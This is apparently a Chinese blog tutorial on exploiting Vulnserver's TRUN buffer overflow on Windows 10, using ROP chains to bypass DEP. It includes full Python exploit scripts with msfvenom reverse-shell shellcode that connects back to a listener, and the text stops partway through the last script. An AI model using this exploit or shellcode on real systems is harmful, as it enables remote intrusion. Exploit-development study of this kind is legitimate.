0%

Vulnserver TRUN Bypass DEP With ROP On Win10

之前写过两篇TRUN bypas DEP的文章,最终都选择了Win7作为实验的操作系统。这里,选择Win10 21H2 x32作为实验的操作系统。

最简单的办法,直接mona自动生成ROP Gadgets。但是,有一个问题,mona会去选择开启ASLRDLL中的ROP Gadget,也就意味着系统重启之后,ROP Gadgets就会变得不可用。

windbgmona插件生成的ROP Gadgets,和之前在immunity debugger中使用mona产生的ROP Gadgets略有不同,并且产生速度也比较慢,因为我的windbg安装的位置,如果启动windbg不用管理员,后续mona生成的几个txt文件都没法保存。单纯在essfunc.dll中是找不到符合要求的ROP Gadgets,需要使用如下命令:

1
!mona rop -m *.dll -n

retn指令的地址,查找方式:

1
!mona find -type instr -s "retn" -p 10 -o

看一下mona自动生成的POP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x76ce19d7, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x76ce19d7, # skip 4 bytes [msvcrt.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x76cd742b, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x775e3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x764d5599, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75c63882, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x775e236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x7651321c, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76cb9233, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x62504e77, # &Writable location [essfunc.dll]
#[---INFO:gadgets_to_set_edi:---]
0x777a26e4, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x775e379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_esi:---]
0x775b2ed8, # POP ESI # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x75c1d8b2, # JMP [EAX] [KERNELBASE.dll]
0x7650841c, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
#[---INFO:pushad:---]
0x75cd8144, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:extras:---]
0x625011af, # ptr to 'jmp esp' [essfunc.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.13.203'
PORT = 9999

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"


def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x76ce19d7, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x76ce19d7, # skip 4 bytes [msvcrt.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x76cd742b, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x775e3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x764d5599, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75c63882, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x775e236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x7651321c, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76cb9233, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x62504e77, # &Writable location [essfunc.dll]
#[---INFO:gadgets_to_set_edi:---]
0x777a26e4, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x775e379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_esi:---]
0x775b2ed8, # POP ESI # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x75c1d8b2, # JMP [EAX] [KERNELBASE.dll]
0x7650841c, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
#[---INFO:pushad:---]
0x75cd8144, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:extras:---]
0x625011af, # ptr to 'jmp esp' [essfunc.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)



PAYLOAD = (
b'TRUN .' +
b'A' * 2006 +
# 62501022 \. C3 RETN
struct.pack('<L', 0x62501022) +
create_rop_chain() +
b"\x90"*32+
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

反弹shell成功:

DEP

自动化产生ROP的方式,还是太过简单,来看看手动构造。基础知识就不提了,前面几篇DEP相关的文章都写了。

首先,在IDA中查找导入表,看能否找到VirtualProtect或者VirtualAlloc的地址。这里我选择从essfunc.dll中查看,因为从vulnserver.exe中查看,发现找到的地址包含00,不便于后续处理,还有注意最后的DLL是需要程序运行时加载的:

DEP

可以看到VirutalProtect的导入表地址为6250609C

注意VirtualProtect的函数结构:

1
2
3
4
5
6
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);

在编写利用脚本时,VirtualProtect函数需要写成如下所示:

1
2
3
4
5
6
func = struct.pack("<L",0x45454545) # dummy VirutalAlloc Address
func += struct.pack("<L",0x46464646) # Shellcode Return Address
func += struct.pack("<L",0x47474747) # dummy Shellcode Address
func += struct.pack("<L",0x48484848) # dummy dwSize
func += struct.pack("<L",0x49494949) # dummy flNewProtect
func += struct.pack("<L",0x62502610) # dummy lpflOldProtect

可以看见,目前这里都是随机填写的,后续需要通过ROP Gadget去修改为正确的值。有一点需要注意,最后的lpflOldProtect参数,可以选择一个可读可写的内存地址,后续ROP Gadget也不需要进行修改。这里我选择essfunc.dll中的未使用空间,并且地址不包含00

查看essfunc.dll的地址:

DEP

查看对应地址的属性:(!vprot或者!address都可)

DEP

查看选择的地址0x62502610

DEP

接下来开始组织ROP Gadgets,首先需要保存ESP的值,最好是保存到两个寄存器中:

1
2
3
# PUSH ESP # POP ESI # RETN    ** [KERNEL32.DLL] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
# MOV EDX,ESI # POP ESI # RETN 0x04 ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
# MOV EAX,EDX # RETN ** [KERNEL32.DLL] ** | {PAGE_EXECUTE_READ}

寻找合适的ROP Gadget是一个非常繁琐的过程,上面所示就是本例中适合保存ESPPOP Gadget,并且方便后续的操作。

接下来看,如何把IATVirtualProtect的地址存放到之前45454545占位符所在的位置,下面是对应的ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eip  = struct.pack("<L",0x62501022)          # retn   essfunc.dll
rop1 = struct.pack("<L", 0x7760296e) # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75cd245f) # MOV EDX,ESI # POP ESI # RETN 0x04 ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk

rop1 += struct.pack("<L",0x76c85164) # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x6250609C) #IAT 6250609C VirtualProtect KERNEL32
rop1 += struct.pack("<L",0x76507518) # XCHG EAX,DWORD PTR [ECX] # RETN ** [RPCRT4.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775b2fac) # MOV EAX,EDX # RETN ** [KERNEL32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

注意上面这段POP Gadgets的关键点是需要找到45454545占位符的位置,这需要在windbg中不断调试。

接下来是shellcode的地址覆盖到占位符4646464647474747的位置。这里有点意思:因为目前你不知道shellcode的具体位置,还有一个点就是ROP Gadget是占空间的,随着ROP Gadget越来越多,前期找到的shellcode地址可能就偏移了,就会导致执行的地址在shellcode中间,导致shellcode无法执行。有一个办法就是在shellcode之前加一段较大范围的\x90,这样来回小范围移动,并不会影响最终shellcode的执行。看一下这段ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
rop1 += struct.pack("<L",0x74ea4480)        # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c7e8ff) # MOV EAX,ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x76c728d8) # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk

接下来覆盖46464646占位符所在地址的内容。按照我们之前编写的VirtualProtect函数模版,每个参数之间的地址差都是4bytes,所以这里只需要对上一步中EAX4,就能执行46464646占位符的地址,然后修改其中的值即可。ROP Gadgets如下:

1
2
3
4
5
rop1 += struct.pack("<L",0x74ea4480)  # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

接下来,有一些小技巧:

DEP

为了保存0x01,可以使用如下ROP Gadget

1
2
3
# POP EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
# -1
# NEG EAX # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}

其中,-1按照之前的技巧,等于ffffffff,然后用NEG指令即可得到1

这段的ROP Gadgets如下所示:

1
2
3
4
5
6
7
8
9
10
rop1 += struct.pack("<L",0x74ea4480)  # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea2450) # POP EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0xffffffff) # -1
rop1 += struct.pack("<L",0x775e236e) # NEG EAX # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

接下来继续看如何保存0x40,继续使用之前介绍的小技巧:

DEP

直接看这段的ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
rop1 += struct.pack("<L",0x74ea4480)  # INC EAX # RETN    ** [mswsock.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764ee61e) # POP EAX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x80808080) # first value to be added
rop1 += struct.pack("<L",0x776cd7a1) # MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76cd32e4) # POP EDX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x7f7f7fc0) # second value to be added
rop1 += struct.pack("<L",0x75c8df55) # ADD EAX,EDX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x764c7f94) # XCHG EAX,ECX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x75c023ed) # MOV DWORD PTR [EAX],ECX # RETN ** [KERNELBASE.dll] ** | {PAGE_EXECUTE_READ}

因为EAXEDX都被使用到,注意EDX在使用之前,需要将其中保存的ESP原始值保存到其他寄存器中,这里找到符合要求的EBX,注意# MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}这条ROP Gadget

接下来,就是执行VirutalProtect函数,这里需要ESP指向VirualProtect在栈空间里面的位置,最终的ROP Gadgets如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rop1 += struct.pack("<L",0x76535eb8)    # MOV EAX,EBX # POP EBX # RETN    ** [RPCRT4.dll] **   |   {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x41414141) # junk
rop1 += struct.pack("<L",0x777a4362) # SUB EAX,16 # RETN ** [ntdll.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x76fa2db7) # DEC EAX # RETN ** [WS2_32.DLL] ** | {PAGE_EXECUTE_READ}
rop1 += struct.pack("<L",0x775a0c40) # XCHG EAX,ESP # RETN ** [KERNEL32.DLL] ** | ascii {PAGE_EXECUTE_READ}

以上就是关键步骤的ROP Gadgets。最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.13.203'
PORT = 9999

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"


func = struct.pack("<L",0x45454545) # dummy VirutalAlloc Address
func += struct.pack("<L",0x46464646) # Shellcode Return Address
func += struct.pack("<L",0x47474747) # dummy Shellcode Address
func += struct.pack("<L",0x48484848) # dummy dwSize
func += struct.pack("<L",0x49494949) # dummy flNewProtect
